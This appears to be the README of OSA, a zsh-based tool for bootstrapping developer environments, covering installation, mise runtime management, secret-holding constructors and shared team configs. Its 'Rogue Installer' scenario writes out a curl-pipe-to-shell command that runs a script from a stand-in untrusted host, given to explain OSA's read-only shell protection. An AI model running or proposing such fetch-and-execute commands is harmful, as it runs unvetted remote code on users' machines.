Also known as: One Setup Anywhere

Bootstrap any machine with a complete development environment in minutes, not hours.

OSA is a shell-first, interactive CLI tool that automates the tedious setup of developer tools across platforms. Instead of spending 2-4 hours manually installing and configuring tools, run one command and get back to coding in ~15-30 minutes.

For Developers, By Developers

• ⚡ Fast Setup: 15-30 minutes vs 2-4 hours of manual installation
• 🎯 Interactive CLI: Choose exactly what you need, skip what you don't
• 🔄 Reproducible: Save your config and reproduce your setup on any machine
• 🛠️ Shell-First: No npm, pip, or other runtime dependencies to bootstrap
• 🔐 Extensible: Keep secrets and machine-specific configs out of git via constructors
• 📦 Modern Tooling: Built-in support for mise (replaces nvm/rbenv/pyenv/jenv)

Mise is great for runtime management, but OSA solves the whole setup problem:

Mise only handles runtime versions (Node, Python, Ruby, etc.). OSA handles everything:

TL;DR: Mise is one tool. OSA is an orchestrator that brings together mise + shell + package manager + IDE + security best practices into one unified setup experience.

• ✅ macOS (Primary - extensively tested)
• ✅ Linux (Ubuntu/Debian - most commands work)
• ✅ WSL 2 (Windows Subsystem for Linux - most commands work)
• ⚠️ Windows Native (Limited - requires manual setup, see Windows section)

Clone and run:

git clone https://github.com/VirtualizeLLC/osa.git ~/osa
cd ~/osa
zsh ./osa-cli.zsh --interactive

Note: If you get "permission denied", try: chmod +x ./osa-cli.zsh && zsh ./osa-cli.zsh --interactive

After setup completes, the osa command will be available globally from any directory:

osa --interactive   # Works from anywhere
osa --help          # Try it out

That's it. The CLI will guide you through the rest.

git clone https://github.com/VirtualizeLLC/osa.git ~/osa
cd ~/osa
brew bundle              # Install dependencies (optional but recommended)
zsh ./osa-cli.zsh --interactive

git clone https://github.com/VirtualizeLLC/osa.git ~/osa
cd ~/osa
sudo apt-get install -y git zsh jq  # Install dependencies
zsh ./osa-cli.zsh --interactive

# In WSL terminal
git clone https://github.com/VirtualizeLLC/osa.git ~/osa
cd ~/osa
sudo apt-get install -y git zsh jq  # Install dependencies
zsh ./osa-cli.zsh --interactive

# In Termux terminal
pkg install git zsh openssh
git clone https://github.com/VirtualizeLLC/osa.git ~/osa
cd ~/osa
zsh ./osa-cli.zsh --interactive

Use WSL 2 for best experience (see WSL 2 section above).

For manual setup, see Windows Native Setup section.

Minimal Setup (core tools only + mise):

zsh ./osa-cli.zsh --minimal

Use a Preset Config (no prompts):

zsh ./osa-cli.zsh --config-file configs/frontend-dev.json

Install Everything:

zsh ./osa-cli.zsh --all

• ✅ Zsh configuration and symlinks
• ✅ Oh My Zsh framework
• ✅ Powerlevel10k theme
• ✅ Zsh plugins (syntax highlighting, evalcache)
• ✅ Homebrew (macOS/Linux)
• ✅ osa-scripts - Community shell helpers and productivity functions (installed automatically)

• 🔧 mise: Polyglot runtime manager (Node, Python, Ruby, Java, Go, Rust, etc.)
• 🔧 Git configuration: Global git config and aliases
• 🔧 CocoaPods: For iOS development (macOS only)
• 🔧 iTerm2 config: Terminal configuration
• 🔧 VS Code settings: Editor configuration

• Node.js (20, 22, 24)
• Python (3.11, 3.12, 3.13)
• Ruby (3.2, 3.3, 3.4)
• Java (OpenJDK 11, 17, 21)
• Go (1.21, 1.22, 1.23)
• Rust (stable)
• Deno, Elixir, Erlang (latest)

Mise is a polyglot runtime manager that replaces nvm, rbenv, pyenv, jenv, and similar tools.

• ✅ Single tool for all languages (no more nvm + rbenv + pyenv juggling)
• ✅ Fast: Cached, optimized binaries (much faster than building from source)
• ✅ Per-project versions: Automatic switching via .mise.toml files
• ✅ Team consistency: Everyone uses the same runtime versions
• ✅ Easy updates: mise install from .mise.toml

After OSA setup, mise is ready to use:

# Install runtimes from .mise.toml
mise install

# Check installed versions
mise list

# Switch versions
mise use node@20

# Show what's available
mise list-all node

Create .mise.toml in your project:

[tools]
node = "20.11.0"
python = "3.12"
ruby = "3.3.0"

When you cd into the directory, mise automatically activates those versions. No more shell aliasing or version switching scripts!

Learn more: Mise Documentation | GitHub

OSA's workspace-based approach is fundamentally different from traditional dotfile management:

# Your actual .zshrc is protected (read-only symlink)
~/.zshrc -> ~/osa/src/zsh/.zshrc

# Machine-specific secrets never leave your machine (never committed)
~/osa/src/zsh/constructors/init.zsh     # Loaded first (env vars, tokens)
~/osa/src/zsh/constructors/final.zsh    # Loaded last (aliases, functions)
~/osa/src/zsh/constructors/__local__*   # Machine overrides

Scenario 1: Rogue Installer

# Without OSA: Installer silently appends to ~/.zshrc
curl -fsSL https://sketchy-tool.com/install.sh | sh
# Now your shell startup includes tracking code

# With OSA: Installation fails (read-only file)
# You notice the error and investigate before proceeding

Scenario 2: Accidentally Committing Secrets

# Without OSA: Easy mistake
echo "export API_KEY=secret123" >> ~/.zshrc
git add .
git push  # Oops, secret is now in git history forever

# With OSA: Impossible
echo "export API_KEY=secret123" >> ~/osa/src/zsh/constructors/init.zsh
git status
# init.zsh is .gitignore'd - cannot be committed

Scenario 3: Team Consistency

# Without OSA: Everyone's setup is different
# Dev A uses nvm, Dev B uses fnm, Dev C uses mise
# "Works on my machine" is a daily problem

# With OSA: Everyone runs the same base config
# Machine-specific customizations go in constructors
# Team debugging is faster (identical shell behavior)

For detailed security architecture, see Configuration & Security Guide.

All documentation is organized in the docs/ directory. See docs/README.md for the complete index.

OSA Scripts - Productivity helpers and shell functions installed automatically during setup.

• 🎯 Community-contributed shell functions and helpers
• 🔧 Utilities for common development tasks
• 📦 Installed to src/zsh/snippets/ (repo-local, tracked in git config)
• ✅ Installed by default, disable with --disable-osa-snippets flag
• 🔗 Customize source with SNIPPETS_REPO environment variable

Check out the osa-scripts repository to contribute your own helpers and functions!

• 📖 Setup Guide - First-time setup, troubleshooting, best practices
• 📖 CLI Reference - All CLI commands and options (see below)
• 📖 Configurations - Security model, recommended apps, workspace benefits
• 📖 Constructors - Machine-specific config and secrets management
• 📖 WSL & Docksal - Windows Subsystem for Linux setup
• 📖 PhpStorm Plugins - IDE recommendations

• 📖 CONTRIBUTING.md - Code standards, testing, development workflow
• 📖 tests/README.md - Testing framework and test writing guide

The osa-cli.zsh script provides a comprehensive interface for setup and configuration management. After setup, all commands are available via the osa shortcut.

# First-time interactive setup
./osa-cli.zsh --interactive

# Fast setup with core shell + mise
./osa-cli.zsh --minimal

# Use a preset configuration
./osa-cli.zsh --config react-native

# Test config without installing
./osa-cli.zsh --config web --dry-run

# Download and use a team config
./osa-cli.zsh --config-url https://raw.github.com/yourorg/osa-configs/main/team.json

# Enable just CocoaPods (requires prior setup)
./osa-cli.zsh --enable cocoapods --auto

# Remove all OSA data for fresh reinstall
./osa-cli.zsh --clean --minimal

# Check platform and current setup
./osa-cli.zsh --info && ./osa-cli.zsh --status

# Generate debug report for bug reporting
./osa-cli.zsh --report

# After setup, use the osa shortcut from anywhere
osa --info
osa --config android

Windows doesn't have native bash/zsh support, so you'll need to manually configure scripts and tools. OSA primarily targets Unix-like environments, but we include some Windows utilities:

Windows-Specific Files:

• src/apps/autohotkey/autoclicker.ahk - Auto-clicking utility
• src/apps/autohotkey/disable_windows_key.ahk - Disable Windows key
• src/apps/autohotkey/windows-terminal.ahk - Windows Terminal shortcuts

• src/apps/windows-terminal/settings.json - Copy to %LOCALAPPDATA%\Packages\Microsoft.WindowsTerminal_*\LocalState\settings.json

• src/apps/wsl/wslbridge.ps1 - PowerShell bridge for WSL
• src/apps/wsl/WSL-remap-ports-task-schedule.xml - Port forwarding task scheduler
• src/apps/wsl/fix-snap.sh - Fix snap in WSL

• src/apps/android-studio/android-wsl.vbs - Launch Android Studio from WSL

Recommendation: Use WSL 2 instead of native Windows for the best OSA experience.

Constructors let you add machine-specific configuration without committing secrets to git:

# Example: src/zsh/constructors/final.zsh
export GITHUB_TOKEN="your-secret-token"
alias work='cd ~/work/my-company-project'

# Custom function
deploy() {
  cd ~/projects/$1 && git push heroku main
}

See docs/constructors.md for details.

Use .mise.toml files to automatically switch runtime versions per project:

# .mise.toml in your project directory
[tools]
node = "20.11.0"
python = "3.12"
ruby = "3.3.0"

When you cd into the directory, mise automatically activates those versions.

Share team configurations via JSON files (local or remote):

# List available presets
./osa-cli.zsh --list-configs

# Use a local preset
./osa-cli.zsh --config-file configs/frontend-dev.json

# Use a remote configuration via URL
./osa-cli.zsh --config-url https://raw.githubusercontent.com/yourorg/configs/main/team-setup.json

# Create your own
cp configs/example-config.json my-team.json
# Edit my-team.json
./osa-cli.zsh --config-file my-team.json

See configs/README.md for available presets and remote configuration guide.

After installation, use the osa command from your shell. For detailed commands, see Setup Guide.

Most Common:

zsh ./osa-cli.zsh --interactive  # Choose what to install
zsh ./osa-cli.zsh --minimal      # Core + mise only
zsh ./osa-cli.zsh --config-file configs/react-native.json  # Use preset
zsh ./osa-cli.zsh --auto         # Use saved configuration

For complete command reference, see: Setup Guide - CLI Commands

Common issues and solutions: Setup Guide - Troubleshooting

• Symlink errors, missing dependencies, platform-specific issues
• See detailed troubleshooting guide in docs/

See Project Tree in docs/ for full structure. Quick overview:

osa/
├── osa-cli.zsh          # Main entry point
├── configs/             # JSON preset configurations
├── src/apps/            # App-specific configurations
├── src/setup/           # Installation scripts
├── src/zsh/             # Zsh configuration and constructors
└── docs/                # Full documentation

Required: zsh shell
Auto-Installed: Homebrew, Oh My Zsh, Powerlevel10k
Optional: mise, jq, git

See Configurations Guide for detailed tool recommendations.

OSA integrates with these tools:

• oh-my-zsh - Zsh framework
• powerlevel10k - Zsh theme
• mise - Runtime manager (nvm/rbenv/pyenv replacement)
• zsh-syntax-highlighting - Command highlighting

Alternative approaches: chezmoi (templated dotfiles) vs yadm (encrypted sync)

Contributions are welcome! Please read our Contributing Guide for:

• 📝 Code Standards: zsh-only, .zsh extension, naming conventions
• 🧪 Testing Requirements: How to write and run tests with BATS
• ✅ Pull Request Checklist: What we look for before merging
• 🛠️ Development Workflow: Step-by-step guide for contributors
• 🏗️ Architecture Guidelines: Component-based design, safety model

Quick PR Requirements:

• ✅ All code uses .zsh extension with zsh syntax
• ✅ Tests pass: ./tests/run-tests.zsh
• ✅ Scripts are syntactically valid: bash -n script.zsh
• ✅ Safety checks for destructive operations
• ✅ Documentation updated
• ✅ Add release:major or release:minor label for automatic releases

GitHub Actions will automatically run tests on all pull requests.

OSA uses automated semantic versioning:

• Major releases (breaking changes): Add release:major label to PR
• Minor releases (new features): Add release:minor label to PR
• Patch releases (bug fixes): Manual release via GitHub Actions

See Release Management Guide for details on:

• 📦 How automatic releases work
• 📝 Changelog generation
• 🏷️ Using release labels
• 📋 Commit message conventions

MIT License - See LICENSE file for details.

Built by developers, for developers. Get back to coding faster.